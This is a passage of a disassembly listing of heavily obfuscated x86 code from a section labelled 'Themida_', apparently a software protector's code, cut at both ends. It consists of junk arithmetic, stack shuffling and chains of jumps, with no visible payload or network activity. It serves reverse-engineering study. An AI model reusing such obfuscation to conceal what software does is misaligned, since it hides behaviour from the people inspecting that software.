		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, 4
		add	edx, eax
		jmp	loc_560EAB
; ---------------------------------------------------------------------------


loc_5692FF:				; CODE XREF: Themida_:0056D0D7j
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		push	ecx
		mov	ecx, 450310ABh
		xor	ecx, 450310AFh
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56C8D7
; ---------------------------------------------------------------------------


loc_569326:				; CODE XREF: Themida_:0056B49Dj
		add	ebp, 3E486F79h
		sub	ebp, 9EBE2571h
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 1A551945h
		jmp	loc_5670A6
; ---------------------------------------------------------------------------


loc_569345:				; CODE XREF: Themida_:00562364j
		mov	eax, [esp]
		push	52C1h
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_56E76A
; ---------------------------------------------------------------------------


loc_569357:				; CODE XREF: Themida_:0055EEE2j
		xor	eax, 71813B2Eh
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_55D329
; ---------------------------------------------------------------------------


loc_56936A:				; CODE XREF: Themida_:0056E95Aj
		sub	esi, 0D2BDA977h
		mov	eax, esi
		jmp	loc_565043
; ---------------------------------------------------------------------------


loc_569377:				; CODE XREF: Themida_:005641DFj
		mov	edx, [esp]
		push	edi
		jmp	loc_567539
; ---------------------------------------------------------------------------


loc_569380:				; CODE XREF: Themida_:005722E2j
		pop	ecx
		add	eax, 1
		sub	eax, 84064EFFh
		sub	ebx, eax
		pop	eax
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	edx
		jmp	loc_570FB6
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_567B69
; ---------------------------------------------------------------------------


loc_5693B1:				; CODE XREF: Themida_:00568389j
		xor	dword ptr [esp], 231C5702h
		pop	esi
		xor	esi, 231C5702h
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	esi, 1
		push	eax
		mov	eax, 2AA7349Fh
		and	esi, eax
		pop	eax
		sub	esi, 1
		dec	esi
		sub	esi, 22820E80h
		and	eax, esi
		push	dword ptr [esp]
		jmp	loc_5704D2
; ---------------------------------------------------------------------------


loc_5693EC:				; CODE XREF: Themida_:005650E9j
		mov	[esp], edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55EEFE
; ---------------------------------------------------------------------------


loc_569407:				; CODE XREF: Themida_:005647C5j
		pop	ecx
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	esi
		push	7974h
		mov	[esp], edi
		jmp	loc_55E7B0
; ---------------------------------------------------------------------------


loc_569426:				; CODE XREF: Themida_:00560086j
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 50EC50ACh
		jmp	loc_56C60E
; ---------------------------------------------------------------------------


loc_569437:				; CODE XREF: Themida_:0056204Fj
		xchg	ebp, [esp]
		jmp	loc_5672F1
; ---------------------------------------------------------------------------


loc_56943F:				; CODE XREF: Themida_:005674ECj
		mov	esi, 26465B96h
		sub	esi, 0CC30090Bh
		add	ecx, 4AF859D0h
		sub	ecx, esi
		push	ebp
		jmp	loc_571299
; ---------------------------------------------------------------------------


loc_569458:				; CODE XREF: Themida_:00561F7Cj
		and	ebx, 326746B3h
		push	4204h
		mov	[esp], esi
		jmp	loc_566316
; ---------------------------------------------------------------------------


loc_56946B:				; CODE XREF: Themida_:005678BAj
		add	esp, 4
		jmp	loc_56825E
; ---------------------------------------------------------------------------


loc_569476:				; CODE XREF: Themida_:0057148Ej
		and	eax, edx
		mov	edx, [esp]
		push	eax
		push	esp
		pop	eax
		jmp	loc_569650
; ---------------------------------------------------------------------------


loc_569483:				; CODE XREF: Themida_:00568319j
		push	1272h
		mov	[esp], ecx
		jmp	loc_56C48D
; ---------------------------------------------------------------------------


loc_569490:				; CODE XREF: Themida_:0056799Ej
		mov	ecx, 72DA10C3h
		mov	ebx, ecx
		mov	ecx, [esp]
		push	edx
		jmp	loc_56FAB2
; ---------------------------------------------------------------------------


loc_5694A0:				; CODE XREF: Themida_:0056105Bj
		push	edx
		push	45825007h
		mov	edx, [esp]
		add	esp, 4
		not	edx
		xor	edx, 8A77B94Dh
		mov	ebx, edx
		pop	edx
		push	ecx
		mov	ecx, 4B112E77h
		and	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_55F2CE
; ---------------------------------------------------------------------------


loc_5694C7:				; CODE XREF: Themida_:0056390Bj
		push	edx
		mov	edx, 1D265EAh
		shr	edx, 3
		or	edx, 3FCF003Ah
		xor	edx, 572E2521h
		not	edx
		sub	edx, 0C12FA551h
		sub	esi, edx
		pop	edx
		push	ebx
		push	esi
		mov	esi, 0
		jmp	loc_564242
; ---------------------------------------------------------------------------


loc_5694F3:				; CODE XREF: Themida_:00563E25j
		add	[esp+4], eax
		pop	eax
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_562EF9
; ---------------------------------------------------------------------------


loc_569503:				; CODE XREF: Themida_:0055F219j
		mov	edi, 14EF1070h
		add	ebx, edi
		push	dword ptr [esp]
		pop	edi
		push	eax
		mov	eax, esp
		jmp	loc_565F98
; ---------------------------------------------------------------------------


loc_569516:				; CODE XREF: Themida_:00569F84j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		mov	ah, 0D9h
		push	3C46h
		mov	[esp], ecx
		push	edx
		push	ecx
		mov	cl, ah
		push	ebx
		mov	bl, cl
		mov	dh, bl
		jmp	loc_565E72
; ---------------------------------------------------------------------------


loc_569543:				; CODE XREF: Themida_:0055DEA4j
		add	esp, 4
		push	esi
		mov	esi, 614374E0h
		neg	esi
		inc	esi
		sub	esi, 0FFFFFFFFh
		add	esi, 2FEE090Dh
		shl	esi, 1
		jmp	loc_56FF9F
; ---------------------------------------------------------------------------


loc_569562:				; CODE XREF: Themida_:00561477j
		mov	[esp], ebx
		mov	ebx, 41F24904h
		xor	ebx, 7670B55h
		dec	ebx
		xor	ebx, 43A0137Eh
		add	ebx, 2CD368D9h
		jmp	loc_5681E9
; ---------------------------------------------------------------------------


loc_569582:				; CODE XREF: Themida_:0056E01Ej
		mov	ecx, 0D92453Bh
		push	edi
		jmp	loc_56BF8D
; ---------------------------------------------------------------------------


loc_56958D:				; CODE XREF: Themida_:00567167j
		pop	edx
		pop	ecx
		mov	esi, [esp]
		add	esp, 4
		sub	ecx, 6CC31667h
		add	ecx, ebp
		push	edi
		mov	edi, 6CC31667h
		jmp	loc_57159A
; ---------------------------------------------------------------------------


loc_5695AB:				; CODE XREF: Themida_:00562586j
		xchg	edx, [esp]
		mov	esp, [esp]
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_566FB3
; ---------------------------------------------------------------------------


loc_5695BB:				; CODE XREF: Themida_:0056826Bj
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	esi
		mov	esi, 1091AB4h
		jmp	loc_5642C8
; ---------------------------------------------------------------------------


loc_5695DA:				; CODE XREF: Themida_:0056E490j
		and	ebp, 50317E65h
		push	eax
		push	ebp
		mov	ebp, 9EF5B2Dh
		jmp	loc_56E911
; ---------------------------------------------------------------------------


loc_5695EC:				; CODE XREF: Themida_:0055EC10j
		xor	edi, ebx
		jmp	loc_55ECAA
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_568B13
; ---------------------------------------------------------------------------


loc_5695FC:				; CODE XREF: Themida_:0056FE0Ej
		sub	esp, 4
		mov	[esp], ecx
		push	ebp
		jmp	loc_56FEDB
; ---------------------------------------------------------------------------


loc_569608:				; CODE XREF: Themida_:0056A672j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_565110
; ---------------------------------------------------------------------------


loc_56961A:				; CODE XREF: Themida_:0056E765j
		cmp	cl, al
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_569622:				; CODE XREF: Themida_:0055E6C7j
		sub	esi, 2A43684h
		add	eax, esi
		pop	esi
		xchg	eax, [esp]
		jmp	loc_5677EA
; ---------------------------------------------------------------------------


loc_569633:				; CODE XREF: Themida_:005626F0j
		sub	bl, 2Dh
		add	bl, dh
		jmp	loc_570DB0
; ---------------------------------------------------------------------------


loc_56963D:				; CODE XREF: Themida_:0056CB11j
		xchg	eax, [esp]
		pop	esp
		jmp	loc_567E16
; ---------------------------------------------------------------------------


loc_569646:				; CODE XREF: Themida_:0055F369j
		mov	ecx, 0C0F95494h
		jmp	loc_567204
; ---------------------------------------------------------------------------


loc_569650:				; CODE XREF: Themida_:0056947Ej
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_568F6B
; ---------------------------------------------------------------------------


loc_56965E:				; CODE XREF: Themida_:0056AF4Aj
		pop	ebx
		add	esi, 655422A6h
		push	ebx
		mov	ebx, 0DBEA81BDh
		sub	esi, ebx
		pop	ebx
		sub	ebp, esi
		jmp	loc_56DDB6
; ---------------------------------------------------------------------------


loc_569675:				; CODE XREF: Themida_:0055D349j
		add	esi, 73159F8h
		xor	esi, 1CD88419h
		sub	[esp+4], esi
		pop	esi
		pop	ecx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_56C4B9
; ---------------------------------------------------------------------------


loc_569695:				; CODE XREF: Themida_:0056E71Bj
		mov	ah, 0CEh
		shl	ah, 2
		push	bx
		mov	bh, 0ADh
		and	ah, bh
		mov	bx, [esp]
		jmp	loc_57119B
; ---------------------------------------------------------------------------


loc_5696A9:				; CODE XREF: Themida_:0055FCC5j
		xchg	eax, edi
		push	edi
		not	dword ptr [esp]
		pop	edi
		xchg	eax, edi
		not	eax
		push	edx
		push	eax
		push	4A0A0387h
		pop	eax
		add	eax, 717F761Ah
		jmp	loc_56C6C1
; ---------------------------------------------------------------------------


loc_5696C4:				; CODE XREF: Themida_:0055EDF4j
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_56A956
; ---------------------------------------------------------------------------


loc_5696D2:				; CODE XREF: Themida_:00570819j
		push	eax
		mov	eax, 406F18D8h
		xor	eax, 8FDC922Bh
		sub	ebx, eax
		pop	eax
		sub	edx, 5D883899h
		add	edx, ebx
		add	edx, 5D883899h
		pop	ebx
		xchg	edx, [esp]
		pop	esp
		jmp	loc_56F7C5
; ---------------------------------------------------------------------------


loc_5696F8:				; CODE XREF: Themida_:00571CADj
		shl	ebp, 6
		sub	ebp, 31C30AF1h
		jmp	loc_567B5C
; ---------------------------------------------------------------------------


loc_569706:				; CODE XREF: Themida_:0056DBE8j
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56970B:				; CODE XREF: Themida_:0055F0FFj
		mov	esi, ebp
		mov	eax, esi
		pop	esi
		jmp	loc_561B48
; ---------------------------------------------------------------------------


loc_569715:				; CODE XREF: Themida_:00560725j
		add	ecx, 30266CC1h
		sub	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	4AD7h
		mov	[esp], edx
		jmp	loc_5706B6
; ---------------------------------------------------------------------------


loc_569733:				; CODE XREF: Themida_:0055FA67j
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_569738:				; CODE XREF: Themida_:0056109Fj
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56973D:				; CODE XREF: Themida_:00566C5Ej
		inc	edi
		jmp	loc_56B512
; ---------------------------------------------------------------------------


loc_569743:				; CODE XREF: Themida_:00570D10j
		shl	eax, 2
		sub	eax, 7046147Eh
		add	eax, 67A8EF36h
		sub	ebx, eax
		jmp	loc_56FE13
; ---------------------------------------------------------------------------


loc_569757:				; CODE XREF: Themida_:0056742Dj
		shr	ebp, 2
		jmp	loc_564DED
; ---------------------------------------------------------------------------


loc_56975F:				; CODE XREF: Themida_:005663DBj
		sub	ebx, 0B134AC22h
		sub	eax, ebx
		pop	ebx
		sub	ebx, 41D616D3h
		add	ebx, 4F2815F0h
		sub	ebx, eax
		push	ecx
		jmp	loc_572699
; ---------------------------------------------------------------------------


loc_56977C:				; CODE XREF: Themida_:00569079j
		pop	ebx
		sub	esi, 5B4216E0h
		add	esi, 4952E6A2h
		sub	eax, 70833306h
		add	eax, esi
		push	edi
		mov	edi, 4E883495h
		and	edi, 762E1E8Bh
		inc	edi
		shr	edi, 7
		inc	edi
		xor	edi, 0F545E5Dh
		jmp	loc_57043B
; ---------------------------------------------------------------------------


loc_5697AC:				; CODE XREF: Themida_:0056C249j
		xor	esi, ebx
		pop	ebx
		mov	edx, esi
		pop	esi
		push	edx
		push	3CF13C85h
		jmp	loc_5638D9
; ---------------------------------------------------------------------------


loc_5697BD:				; CODE XREF: Themida_:0055DC39j
		mov	ebp, 40ED6CF4h
		jmp	loc_570E52
; ---------------------------------------------------------------------------


loc_5697C7:				; CODE XREF: Themida_:0056384Cj
		or	ebp, edi
		pop	edi
		jmp	loc_5683D5
; ---------------------------------------------------------------------------


loc_5697CF:				; CODE XREF: Themida_:005709DEj
		pop	ebp
		and	esi, ebx
		jmp	loc_5641A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DB3D


loc_5697D7:				; CODE XREF: sub_59DB3D-31B46j
		mov	bh, ch
		pop	ecx
		xor	al, bh
		mov	bx, word ptr [esp+28h+var_28]
		sub	esp, 4
		mov	[esp+2Ch+var_2C], eax
		push	esp
		jmp	loc_564C9E
; END OF FUNCTION CHUNK	FOR sub_59DB3D
; ---------------------------------------------------------------------------


loc_5697EF:				; CODE XREF: Themida_:005715EDj
		push	dword ptr [esp]
		pop	esi
		jmp	loc_56B106
; ---------------------------------------------------------------------------


loc_5697F8:				; CODE XREF: Themida_:0056A487j
		add	esp, 4
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		push	eax
		push	edi
		push	ebx
		push	7823255h
		jmp	loc_56CB16
; ---------------------------------------------------------------------------


loc_569817:				; CODE XREF: Themida_:0056095Ej
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_568994
; ---------------------------------------------------------------------------


loc_569823:				; CODE XREF: Themida_:00563024j
		push	eax
		pop	ebp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xor	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		mov	esi, 13F94CADh
		add	ebx, 2492569Dh
		jmp	loc_568BC1
; ---------------------------------------------------------------------------


loc_569845:				; CODE XREF: Themida_:0056818Ej
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_56CF9F
; ---------------------------------------------------------------------------


loc_569853:				; CODE XREF: Themida_:00565D0Fj
		sub	ebx, edx
		pop	edx
		add	ebx, 100E4ED5h
		jmp	loc_56D803
; ---------------------------------------------------------------------------


loc_569861:				; CODE XREF: Themida_:005709EEj
		mov	ebx, [esp]
		add	esp, 4
		sub	edx, 41A61E6Fh
		add	ebp, edx
		jmp	loc_56F274
; ---------------------------------------------------------------------------


loc_569874:				; CODE XREF: Themida_:0056863Fj
		mov	ebx, [esp]
		jmp	loc_56F504
; ---------------------------------------------------------------------------


loc_56987C:				; CODE XREF: Themida_:0056A2BBj
		pop	esp
		jmp	loc_55D898
; ---------------------------------------------------------------------------


loc_569882:				; CODE XREF: Themida_:0056D99Dj
		sub	dx, 110Ah
		add	dx, 6283h
		sub	dx, di
		sub	dx, 6283h
		push	ebx
		push	esi
		mov	si, 5180h
		jmp	loc_572430
; ---------------------------------------------------------------------------


loc_56989F:				; CODE XREF: Themida_:0055DC1Aj
		sub	ebx, 57DF463Eh
		pop	eax
		jmp	loc_569C1C
; ---------------------------------------------------------------------------


loc_5698AB:				; CODE XREF: Themida_:0055E7F6j
		add	edi, 4
		jmp	loc_5639F6
; ---------------------------------------------------------------------------


loc_5698B6:				; CODE XREF: Themida_:005690EBj
		mov	[esp], eax
		jmp	loc_567ED1
; ---------------------------------------------------------------------------


loc_5698BE:				; CODE XREF: Themida_:0056CE4Fj
		pop	edi
		shr	ecx, 1
		jmp	loc_566599
; ---------------------------------------------------------------------------


loc_5698C6:				; CODE XREF: Themida_:0055EDB0j
		sub	edi, esi
		pop	esi
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		jmp	loc_561B24
; ---------------------------------------------------------------------------


loc_5698DD:				; CODE XREF: Themida_:0056020Ej
		push	eax
		jmp	loc_55E525
; ---------------------------------------------------------------------------


loc_5698E3:				; CODE XREF: Themida_:00561DB8j
		sub	edi, esi
		jmp	loc_570E1F
; ---------------------------------------------------------------------------


loc_5698EA:				; CODE XREF: Themida_:0055FDA6j
		push	ebx
		mov	ebx, 3B046E92h
		jmp	loc_56E366
; ---------------------------------------------------------------------------


loc_5698F5:				; CODE XREF: Themida_:00560AA4j
		mov	edi, esi
		pop	esi
		sub	edi, 7D6C5752h
		add	edi, eax
		push	edx
		mov	edx, 7D6C5752h
		add	edi, edx
		pop	edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_56A615
; ---------------------------------------------------------------------------


loc_569915:				; CODE XREF: Themida_:0055D6CDj
		push	444Ch
		mov	[esp], ebp
		push	4580h
		jmp	loc_56AC1A
; ---------------------------------------------------------------------------


loc_569927:				; CODE XREF: Themida_:00561967j
		shr	bl, 7
		dec	bl
		and	bl, 1Ah
		xor	bl, 1Ah
		xor	dh, bl
		jmp	loc_56D533
; ---------------------------------------------------------------------------


loc_569939:				; CODE XREF: Themida_:00564587j
		mov	edx, 347B121Dh
		mov	ebp, 2C974F40h
		xor	ebp, edx
		jmp	loc_568009
; ---------------------------------------------------------------------------


loc_56994A:				; CODE XREF: Themida_:00561518j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	ecx, 4
		push	1BF7h
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_56DC22
; ---------------------------------------------------------------------------


loc_569992:				; CODE XREF: Themida_:00568F23j
		mov	ecx, 2FF84503h
		jmp	loc_56B086
; ---------------------------------------------------------------------------


loc_56999C:				; CODE XREF: Themida_:0056C17Fj
		pop	eax
		add	al, 29h
		jmp	loc_56C1FA
; ---------------------------------------------------------------------------


loc_5699A4:				; CODE XREF: Themida_:0055FD48j
		pop	ebp
		xor	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_567D84
; ---------------------------------------------------------------------------


loc_5699B5:				; CODE XREF: Themida_:00561D83j
		sub	eax, edx
		pop	edx
		add	edi, eax
		pop	eax
		add	edi, 795264E9h
		sub	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		xor	ebx, 2AED6CF4h
		mov	esi, ebx
		pop	ebx
		and	esi, 58811C28h
		add	esi, 13D63C25h
		jmp	loc_569F89
; ---------------------------------------------------------------------------


loc_5699E3:				; CODE XREF: Themida_:00568DAEj
		sub	dword ptr [esp], 57294716h
		mov	eax, [esp]
		push	5952h
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_571CC3
; ---------------------------------------------------------------------------


loc_569A0E:				; CODE XREF: Themida_:00565005j
		pop	edx
		push	ecx
		jmp	loc_560CD4
; ---------------------------------------------------------------------------


loc_569A15:				; CODE XREF: Themida_:0056DB6Bj
		mov	edi, 7BD4EBFh
		add	edx, edi
		mov	edi, [esp]
		jmp	loc_56016C
; ---------------------------------------------------------------------------


loc_569A24:				; CODE XREF: Themida_:00563711j
		sub	edx, 33384Dh
		sub	esi, edx
		mov	edx, [esp]
		add	esp, 4
		neg	esi
		push	edi
		mov	edi, 0
		add	edi, 62E878BEh
		sub	edi, 0AAC1969h
		sub	edi, esi
		push	ebp
		mov	ebp, 0AAC1969h
		add	edi, ebp
		pop	ebp
		jmp	loc_57299B
; ---------------------------------------------------------------------------


loc_569A56:				; CODE XREF: Themida_:0056252Bj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	edx, 7A1C0FEDh
		sub	edx, 712B5F69h
		jmp	loc_5678A5
; ---------------------------------------------------------------------------


loc_569A72:				; CODE XREF: Themida_:0056D172j
		mov	edi, 6A9F12CAh
		add	[esp+8], edi
		jmp	loc_56CD49
; ---------------------------------------------------------------------------


loc_569A80:				; CODE XREF: Themida_:00571DF5j
		push	ecx
		mov	ecx, 572A4C08h
		dec	ecx
		push	ebp
		mov	ebp, esp
		jmp	loc_55EAFE
; ---------------------------------------------------------------------------


loc_569A8F:				; CODE XREF: Themida_:00566AADj
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		push	3AC9h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		sub	esp, 4
		mov	[esp], ebp
		push	esi
		push	eax
		jmp	loc_56ED3A
; ---------------------------------------------------------------------------


loc_569AB0:				; CODE XREF: Themida_:005631B1j
		sub	esi, 639644A5h
		add	edx, esi
		pop	esi
		push	ebx
		jmp	loc_5617D9
; ---------------------------------------------------------------------------


loc_569ABF:				; CODE XREF: Themida_:00568326j
		pop	edi
		push	edx
		mov	edx, eax
		jmp	loc_56EA25
; ---------------------------------------------------------------------------
		lodsb
		add	al, 0B2h
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 9
		push	ecx
		mov	ch, 84h
		sub	ch, 0D1h
		jmp	loc_570B85
; ---------------------------------------------------------------------------


loc_569ADE:				; CODE XREF: Themida_:00570AA4j
		mov	[esp], eax
		push	ecx
		mov	ecx, 30A247B7h
		mov	eax, 6F3B17ACh
		xor	eax, ecx
		pop	ecx
		add	edi, eax
		pop	eax
		add	edi, ebp
		sub	edi, 5F99501Bh
		mov	ebp, [esp]
		jmp	loc_56676F
; ---------------------------------------------------------------------------


loc_569B02:				; CODE XREF: Themida_:00564277j
		sub	ebp, edx
		jmp	loc_566398
; ---------------------------------------------------------------------------


loc_569B09:				; CODE XREF: Themida_:00565A0Cj
		pop	eax
		add	dl, cl
		jmp	loc_562054
; ---------------------------------------------------------------------------


loc_569B11:				; CODE XREF: Themida_:0056AC8Bj
		sub	edx, 278F7C4Ah
		mov	edi, edx
		pop	edx
		jmp	loc_561C27
; ---------------------------------------------------------------------------


loc_569B1F:				; CODE XREF: Themida_:005635F9j
		mov	[esp], edx
		mov	edx, 4BE02824h
		neg	edx
		push	ecx
		jmp	loc_5607DA
; ---------------------------------------------------------------------------


loc_569B2F:				; CODE XREF: Themida_:00563492j
		pop	ebx
		and	eax, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_5605A0
; ---------------------------------------------------------------------------


loc_569B46:				; CODE XREF: Themida_:0055D7C3j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55ED1F
; ---------------------------------------------------------------------------


loc_569B4F:				; CODE XREF: Themida_:00566A6Cj
		shr	dl, 7
		shr	dl, 7
		xor	dl, 0Ch
		or	al, dl
		mov	edx, [esp]
		add	esp, 4
		add	al, 56h
		add	bl, al
		pop	eax
		add	bl, 0BEh
		add	bl, dl
		sub	bl, 0BEh
		sub	bl, 33h
		mov	edx, [esp]
		add	esp, 4
		movzx	eax, al
		lea	eax, [edi+eax*4]
		push	2B38h
		mov	[esp], eax
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_569B8C:				; CODE XREF: Themida_:00571C6Aj
		push	esi
		jmp	loc_560261
; ---------------------------------------------------------------------------


loc_569B92:				; CODE XREF: Themida_:00566F7Cj
		add	edi, ecx
		pop	ecx
		jmp	loc_56557F
; ---------------------------------------------------------------------------


loc_569B9A:				; CODE XREF: Themida_:00570107j
		pop	esi
		add	esp, 4
		add	esi, 4
		add	esi, 2
		sub	esp, 4
		jmp	loc_570992
; ---------------------------------------------------------------------------


loc_569BB2:				; CODE XREF: Themida_:0056A1DAj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_571E5A
; ---------------------------------------------------------------------------


loc_569BC6:				; CODE XREF: Themida_:0055E496j
		pop	eax
		xor	ebp, edi
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	edi
		mov	edi, 4
		jmp	loc_56F78C
; ---------------------------------------------------------------------------


loc_569BE2:				; CODE XREF: Themida_:00565165j
		pop	eax
		xor	esi, 0F52D8BFDh
		jmp	loc_560AD0
; ---------------------------------------------------------------------------


loc_569BEE:				; CODE XREF: Themida_:0056B47Cj
		mov	edi, [esp]
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55F3D7
; ---------------------------------------------------------------------------


loc_569C06:				; CODE XREF: Themida_:0055D8BAj
		mov	eax, 7432894h
		inc	eax
		xor	eax, 7432891h
		add	ebx, eax
		pop	eax
		add	ebx, 4
		jmp	loc_572984
; ---------------------------------------------------------------------------


loc_569C1C:				; CODE XREF: Themida_:005698A6j
		shr	ebx, 6
		jmp	loc_56D4B8
; ---------------------------------------------------------------------------


loc_569C24:				; CODE XREF: Themida_:0056B069j
		push	64E4h
		push	722Dh
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_565ABB
; ---------------------------------------------------------------------------


loc_569C3E:				; CODE XREF: Themida_:0055DE5Dj
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 7CEB0A18h
		shl	esi, 6
		sub	esi, 3AC285FCh
		add	ebx, esi
		pop	esi
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_56E072
; ---------------------------------------------------------------------------


loc_569C68:				; CODE XREF: Themida_:0055E467j
		push	43B2h
		mov	[esp], esi
		push	ebx
		push	1A8516EBh
		pop	ebx
		add	ebx, 0E57AE917h
		push	ebx
		sub	dword ptr [esp], 5FBE182Eh
		jmp	loc_567348
; ---------------------------------------------------------------------------


loc_569C8A:				; CODE XREF: Themida_:00564EC8j
		push	esp
		pop	ebp
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		add	ebp, 7DBD3F7Ch
		add	ebp, ebx
		jmp	loc_562AB4
; ---------------------------------------------------------------------------


loc_569CA5:				; CODE XREF: Themida_:005624C8j
		inc	eax
		add	eax, 669DA81Ch
		dec	eax
		and	eax, 70626CCCh
		or	eax, 54547B6Ch
		push	edx
		jmp	loc_56FF55
; ---------------------------------------------------------------------------


loc_569CBC:				; CODE XREF: Themida_:0056D8C2j
		add	al, 48h
		jmp	loc_565A55
; ---------------------------------------------------------------------------
		lodsd
		sub	eax, 662A4166h
		sub	eax, 6C7D00F4h
		add	eax, ebx
		add	eax, 6C7D00F4h
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_5644A5
; ---------------------------------------------------------------------------


loc_569CE8:				; CODE XREF: Themida_:0055E48Fj
		mov	bl, 43h
		jmp	loc_5727C5
; ---------------------------------------------------------------------------


loc_569CEF:				; CODE XREF: Themida_:005644A0j
		mov	edi, 478A389Ah
		and	edi, 7D511686h
		shl	edi, 1
		and	edi, 4DCA6486h
		jmp	loc_55EF7D
; ---------------------------------------------------------------------------


loc_569D07:				; CODE XREF: Themida_:0056A304j
		mov	ebp, [esp]
		add	esp, 4
		pop	ebx
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_56DA1E
; ---------------------------------------------------------------------------


loc_569D18:				; CODE XREF: Themida_:0055D52Fj
		mov	edx, ebp
		pop	ebp
		jmp	loc_56D225
; ---------------------------------------------------------------------------


loc_569D20:				; CODE XREF: Themida_:00560C32j
		pop	esi
		xor	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	esi, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_570CA4
; ---------------------------------------------------------------------------


loc_569D3D:				; CODE XREF: Themida_:00563F81j
		neg	ebp
		inc	ebp
		jmp	loc_564405
; ---------------------------------------------------------------------------


loc_569D45:				; CODE XREF: Themida_:0056621Fj
		push	edi
		jmp	loc_56FD0F
; ---------------------------------------------------------------------------


loc_569D4B:				; CODE XREF: Themida_:00565DBEj
		add	esp, 4
		jmp	loc_571D99
; ---------------------------------------------------------------------------


loc_569D53:				; CODE XREF: Themida_:00561A52j
		push	edx
		pop	esi
		pop	edx
		sub	edi, esi
		pop	esi
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_564F4A
; ---------------------------------------------------------------------------


loc_569D64:				; CODE XREF: Themida_:00570306j
		push	edi
		mov	edi, 66381CCAh
		jmp	loc_570352
; ---------------------------------------------------------------------------


loc_569D6F:				; CODE XREF: Themida_:00566AA5j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		jmp	loc_56EBBC
; ---------------------------------------------------------------------------


loc_569D82:				; CODE XREF: Themida_:0056DE83j
		push	esi
		jmp	loc_56A76B
; ---------------------------------------------------------------------------


loc_569D88:				; CODE XREF: Themida_:0056653Aj
		push	ebx
		mov	ebx, 4
		push	158Ch
		mov	[esp], ebp
		jmp	loc_5656C7
; ---------------------------------------------------------------------------
		push	dword ptr [edx]
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 8356240Ch, 37E904ECh
		db 55h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569DAF:				; CODE XREF: Themida_:00563D7Dj
